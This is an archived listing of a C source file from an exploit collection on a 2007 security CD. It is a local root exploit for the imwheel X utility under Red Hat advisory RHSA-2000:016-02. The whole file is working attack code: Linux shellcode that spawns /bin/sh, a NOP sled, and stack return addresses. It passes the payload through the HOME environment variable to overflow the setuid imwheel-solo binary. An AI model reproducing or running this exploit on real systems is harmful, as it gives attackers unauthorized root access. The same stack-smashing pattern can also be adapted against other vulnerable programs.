home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / imwheel-redhat-i386.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  913b  |  36 lines

  1. /*
  2.  *  imwheel local root exploit [ RHSA-2000:016-02 ]
  3.  *  funkysh 04/2000 funkysh@kris.top.pl
  4.  */
  5.   
  6. #include <stdlib.h>
  7. #include <stdio.h>
  8.  
  9. #define BUFFER 2070
  10. #define NOP 0x90
  11. #define PATH "/usr/X11R6/bin/imwheel-solo"  
  12.  
  13. char code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"
  14.             "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
  15.             "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  16.             "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  17.  
  18. unsigned long getesp(void) { __asm__("movl %esp,%eax"); }
  19.         
  20. int main(int argc, char *argv[])
  21. {
  22.   int i, offset = 0;
  23.   char buf[BUFFER];
  24.   long address;
  25.   if(argc > 1) offset = atoi(argv[1]);
  26.   address = getesp() + 1000 + offset;
  27.   memset(buf,NOP,BUFFER);
  28.   memcpy(buf+(BUFFER-300),code,strlen(code));
  29.  
  30.   for(i=(BUFFER-250);i<BUFFER;i+=4)
  31.   *(int *)&buf[i]=address;
  32.   setenv("DISPLAY", "DUPA", 1);
  33.   setenv("HOME", buf, 1);
  34.   execl(PATH, PATH, 0);
  35. }           
  36.